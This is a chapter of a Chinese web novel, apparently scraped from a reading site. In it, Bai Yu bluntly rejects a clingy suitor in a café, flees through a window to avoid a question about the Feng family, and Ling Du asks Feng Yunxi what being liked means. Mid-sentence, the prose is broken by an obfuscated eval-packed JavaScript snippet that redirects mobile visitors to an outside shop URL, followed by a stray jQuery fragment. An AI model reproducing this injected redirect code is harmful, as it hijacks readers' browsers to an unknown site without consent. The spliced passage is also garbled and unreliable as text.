柏瑜带着陈锋溜得很快，可风云溪却像是早就知道两人要去哪里似的，十分钟后，和凌渡一起出现在了学校商业街的咖啡店里。
风云溪的视线往店内一扫，果不其然在角落里看到武装严实的柏瑜在和陈锋严肃面谈，便隔空对注意到他们的柏瑜点了一下头，带着凌渡在隔着绿植的桌子上坐下了。
凌渡疑惑地看看柏瑜，又看看陈锋，最终还是先拿起了菜单，对着上面琳琅满目的咖啡，露出了短暂的迷茫。
“想喝什么？”他踟蹰片刻，询问风云溪的意见。
风云溪却摆摆手，她刚刚已经吃过东西了，对于店里的咖啡兴趣并不大：“点你喜欢喝的。”
凌渡还没喝过人间的咖啡，对于“拿铁”“美式”“卡布奇诺”的区别一无所知，干脆打开手机刷了半天，最终点了推荐榜单上排名第一的生椰拿铁。
隔壁柏瑜摘了墨镜，对面的陈锋正在和她说着什么。柏瑜没什么反应，只是低头搅着眼前的咖啡，面色复杂地喝了一口。
随即像是被注入了什么能量那般，目光放回到眼前人身上，平日里古灵精怪的双眸此时显得十分严肃：“这位陈同学，很感谢你的喜欢，但是我真的跟你不熟啦……你的鲜花和蜡烛都很浪漫，只是不是我喜欢的，你也不是我喜欢的。”
柏瑜一向都不是什么爱绕弯的性子，拒绝的话已经尽量说得委婉，但依旧十分直白。
但对面的脑回路也是相当直接，似乎也没有被柏瑜的拒绝打击到，反而相当诚恳地问：“那为什么不跟我在一起试试呢？你跟我在一起试一下，说不定就喜欢我了啊？”
柏瑜：“？”
这本末倒置的逻辑关系令柏瑜露出费解的神色，不过还是极有涵养地没有当场发难，仍旧试图委婉劝说：“可是我并不喜欢你，所以并不想跟你在一起，也不存在跟你在一起了就会喜欢你的事，你还是换一个人喜欢吧？”
对面也露出费解的神色：“可你怎么会不喜欢我呢？我妈说我很优秀，家里也是做房地产的，有钱，养得起你。而且我长得不差吧？你怎么会不喜欢我呢？”
柏瑜：“……”
风云溪若无其事地错开目光，低头掩饰嘴角那抹根本就藏不住的笑意。
见直接拒绝根本无用，柏瑜变换战术：“我人很糟糕的，敏感自私情绪不稳定，建议你换个人喜欢。”
“我就喜欢脾气差的。”
“……我还不爱洗头洗澡。”
“我也喜欢不洗澡的。”
“？我素质还极差，我喜欢骂脏话，喜欢随地吐痰，还喜欢乱丢垃圾。”
“没事，和我在一起之后可以慢慢改的。”
柏瑜：“……”
柏瑜：“我还搞女权！我是不婚主义！我不生小孩！哦对了，你鞋是假的。”
“……”
角落的咖啡厅一时间有些无言。
风云溪努力憋笑，笑得无声锤起了桌子。刚端上来的咖啡液随着她的动作小幅度动荡，震得上面的拉花浅浅晕开。
柏瑜松了口气，以为对方终于破防，嘴角无声勾起一个弧度，端起桌上的咖啡杯优雅一抿。
“女权……是什么？”却听对方犹豫地问，“你的兴趣爱好吗？我不介意你有自己的兴趣爱好的。”
随即又挠了挠头，脸上很红：“我们也不是非要结婚……我也不是很喜欢孩子，我不会带小孩。”
“不过我的鞋肯定是真的。”对方表情突然严肃，伸出一只脚，指着鞋子上面的logo，“这个是x家夏季的新品，是全球限量500双，是从总部运过来的，材料原产地在m国的k州，作坊在a国……”
柏瑜：“……”
柏瑜悬着的心终于死了，她面无表情地放下茶杯，听着对方跟她絮絮叨叨讲着他鞋子的工艺制作、材料原产地以及品牌历史，内心居然升起一股无限悲凉之意。
眼见隔壁的风云溪已经笑得连头都看不见了，柏瑜暗自咬牙，隔空给那张桌子丢了好几个眼刀，里面全是对风云溪的控诉之意。
见柏瑜迟迟没打断自己，陈锋说得更起劲了，居然一下子从鞋子的真伪辨认说到了国际形势，柏瑜忍了又忍，决定放弃他人说话时不玩手机的礼仪，咬牙切齿地给风云溪发了消息：【你不准再笑了！快想办法救我！】
风云溪放在桌面上的手机震动了一下，风云溪回头，就看到了柏瑜悲愤的眼神。
风云溪想了想，回复道：【可以是可以，但你得告诉我十年前风家发生了什么事。】
柏瑜：【……】
柏瑜收了手机，沉默了。
风云溪本以为她会答应，却见柏瑜放下手机没有再看她。
风云溪微微皱了一下眉，指尖无意识地敲击着手机屏幕。
连续被回避两次问题，风云溪很难不多想。
当年风家一定发生了什么特别的事情，而且柏瑜也肯定记得什么，不然不会在她的两次试探之下都是这么奇怪的反应。
可为什么不能告诉她呢？
柏瑜已经是很明显地拒绝讨论了。风云溪本来也没打算将这件事情作要挟，见柏瑜态度冷硬，无奈地轻叹一声，起身准备将可怜的鱼鱼解救出来。
可柏瑜见她起身，却猛地将手上的咖啡杯一放，甚至将面前的陈锋都吓了一跳。
这位侃侃而谈的愣头青不解柏瑜的反应，有些小心翼翼地试探道：“怎么了，我哪里说错了吗？”
“没事。”柏瑜紧紧盯着风云溪走过来的身影，只觉得喉咙发紧。
随即她的目光移动到右边敞开的窗子上，顿了一下，对陈锋歉意道：“失陪。”
然后，柏瑜就在全咖啡厅里的人震惊的目光之下，利落地翻窗跳了出去。
陈锋：“？？？”
风云溪：“……”
风家十年前发生的事情真的那么难以启齿吗？！
风云溪本可以轻松追上柏瑜，但对方三番两次拒绝告知，她也没有强迫对方的打算，便叹息一声，转身坐回去了。
凌渡端起眼前的生椰拿铁喝了一口，只觉得口感奇特，也说不上是好喝还是不好喝。
风云溪再度折返，脸上没什么情绪变
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060919|137724||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
化，可是凌渡却很明显感受到了她不算开心，便放下咖啡杯，目露关切：“怎么了吗？”
他睁大眼睛抬头看自己的样子着实乖巧，风云溪没忍住rua了一下他的猫猫头，在他面前坐下了：“没什么事，鱼鱼溜了。”
凌渡看向站在桌子旁，对着窗子愣神的陈锋，面上露出一些疑惑。
“云溪。”犹豫了一下，凌渡突然很认真地问，“被我喜欢，你会开心吗？”
风云溪有那么一瞬间感觉又回到了刚穿来的那一天，那时候凌渡刚将小嘤投放的乱七八糟的教学场景铭记于心，并且将其内化且立即实践。
那时候凌渡也是那么明明白白地告诉她：“我喜欢你。”
只是风云溪每每对上他那澄净纯澈的目光，都很难分辨出凌渡的“喜欢”到底是什么喜欢。
小毕设对于情感还是太懵懂了，就像稚嫩的孩童学到了新知识就想着如何使用那般，凌渡或许也在努力适应着那些“情感”，然后将自己的情绪毫无保留地告知于最信赖的人，试图从她那里得到肯定和解释。
那现在这么问，是发生什么事情了吗？
风云溪的思绪从风家脱离出来，也很认真地回复：“开心。”
自己创造出来的毕设喜欢自己，她是真的很开心的。
凌渡却又问：“那你是因为被人喜欢才开心，还是因为喜欢你的人是我才开心？”
这个问题倒是让风云溪感到意外，前段时间还在纠结喜欢是什么的凌渡如今居然会思考喜欢的具体意义了，这算不算是一种大进步？
“因为是你。”
风云溪再次回答了他，却看见他稍微有些忐忑的眉眼此时舒展开来，露出了一丝真情实感的笑意。
他的心情变化被粉色小嘤记录下来，很快小嘤头顶上的情绪测量仪min版有了反应，蹦出一个数字：20。
风云溪心中一跳，这是她目前为止见到过的，凌渡心情值最高的数字。
虽然修bug修得风云溪快要破防，但此行毕竟不是毫无收获。于是风云溪也对他露出了一个笑，托着腮道：“怎么突然问我这个？”
“因为我看到……好像喜欢别人，或许也会是别人的困扰。”凌渡眼眸抬起，长长的羽睫如同蝶翼那般轻轻颤动，在那清亮的眸子里投下一层细微的阴影。
风云溪也顺着他的目光看向隔壁不欢而散的那一桌，一束孤零零的玫瑰花安详地躺在椅子上，有被压碎的花瓣掉落在地上，无人在意。
如同一颗被忽视的、凋零的真心。
“喜欢不是。”风云溪摇摇头，“以喜欢之名进行不合时宜的追求才是。”
凌渡有些不解：“这样是不好的吗？围观的人都说这很浪漫。”
风云溪没有再答，而是反问：“凌渡，你觉得呢？”
凌渡陷入了沉思，骨节分明的手托着下巴，在咖啡厅暖光的映衬之下，向来清亮的谪仙眸竟也染上了几分人间烟火色。
“很热闹，周围人都在祝福。”
凌渡如是说。
“但是他们没有在一起。”